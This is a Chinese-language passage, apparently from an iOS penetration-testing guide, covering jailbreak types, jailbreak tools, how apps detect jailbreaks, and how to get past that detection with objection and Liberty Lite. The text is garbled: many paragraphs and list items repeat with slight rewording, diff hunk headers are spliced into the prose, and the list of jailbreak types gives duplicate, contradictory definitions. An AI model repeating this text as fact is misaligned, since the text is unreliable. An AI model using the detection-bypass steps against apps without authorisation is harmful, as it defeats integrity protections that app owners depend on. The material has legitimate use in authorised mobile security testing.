越狱 iOS 变得越来越困难,因为苹果迅速修补漏洞。**降级 iOS** 仅在发布后有限时间内可能,越狱是一个时间敏感的问题。用于安全测试的设备在确保重新越狱的情况下不应更新。
iOS 更新由**挑战-响应机制**SHSH blobs控制仅允许安装苹果签名的响应。这个机制被称为“签名窗口”限制了存储和后续使用 OTA 固件包的能力。[IPSW Downloads 网站](https://ipsw.me)是检查当前签名窗口的资源。
iOS 更新由**挑战-响应机制**SHSH blobs控制仅允许安装苹果签名的响应。这个机制被称为“签名窗口”限制了存储和后续使用 OTA 固件包的能力。[IPSW Downloads 网站](https://ipsw.me) 是检查当前签名窗口的资源。
### 越狱种类
- **有线越狱**需要每次重启时连接计算机。
- **半有线越狱**允许在没有计算机的情况下启动到非越狱模式。
- **半无线越狱**需要手动重新越狱而不需要计算机。
- **无线越狱**提供永久越狱解决方案,无需重新应用。
- **半无越狱**需要手动重新越狱而不需要计算机。
- **无越狱**提供永久越狱解决方案,无需重新应用。
### 越狱工具和资源
越狱工具因 iOS 版本和设备而异。资源如 [Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com) 和 [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) 提供最新信息。示例包括:
- [Checkra1n](https://checkra.in/) 适用于 A7-A11 芯片设备。
- [Palera1n](https://palera.in/) 适用于 iOS 15.0-16.5 上的 Checkm8 设备A8-A11
- [Palera1n](https://palera.in/) 适用于 Checkm8 设备A8-A11在 iOS 15.0-16.5 上
- [Unc0ver](https://unc0ver.dev/) 适用于 iOS 版本高达 14.8。
修改设备存在风险,越狱应谨慎进行。
### 越狱的好处和风险
越狱**移除操作系统施加的沙盒限制**,允许应用程序访问整个文件系统。这种自由使得安装未批准的应用程序和访问更多 API 成为可能。然而,对于普通用户来说,由于潜在的安全风险和设备不稳定,越狱**不推荐**。
越狱**移除操作系统施加的沙盒限制**,允许应用访问整个文件系统。这种自由使得安装未批准的应用和访问更多 API 成为可能。然而,对于普通用户来说,由于潜在的安全风险和设备不稳定,越狱**不推荐**。
### **越狱后**
@ -104,10 +108,10 @@ basic-ios-testing-operations.md
### **越狱检测**
**一些应用程序会尝试检测手机是否越狱,在这种情况下应用程序将无法运行**
**一些应用会尝试检测手机是否越狱,在这种情况下应用将无法运行**
- 在越狱的 iOS 设备上,**文件和文件夹通常会被安装**,可以搜索这些文件以确定设备是否越狱。
- 在越狱设备上,应用程序获得**对新文件的读/写访问权限**,超出沙盒限制。
- 越狱后iOS **文件和文件夹通常会被安装**,可以搜索这些文件以确定设备是否越狱。
- 在越狱设备中,应用可以**读写新文件**,超出沙盒限制。
- 一些**API** **调用**将**表现不同**
- **OpenSSH** 服务的存在。
- 调用 `/bin/sh` 将**返回 1** 而不是 0。
@ -119,7 +123,7 @@ basic-ios-testing-operations.md
## **越狱检测绕过**
- 你可以尝试使用 **objection's** `ios jailbreak disable` 来避免这些检测。
- 你还可以安装工具 **Liberty Lite** (https://ryleyangus.com/repo/)。一旦添加了 repo应用程序应该出现在“搜索”标签中。
- 你还可以安装工具 **Liberty Lite** (https://ryleyangus.com/repo/)。一旦添加了 repo应用应该出现在“搜索”标签中。
## 参考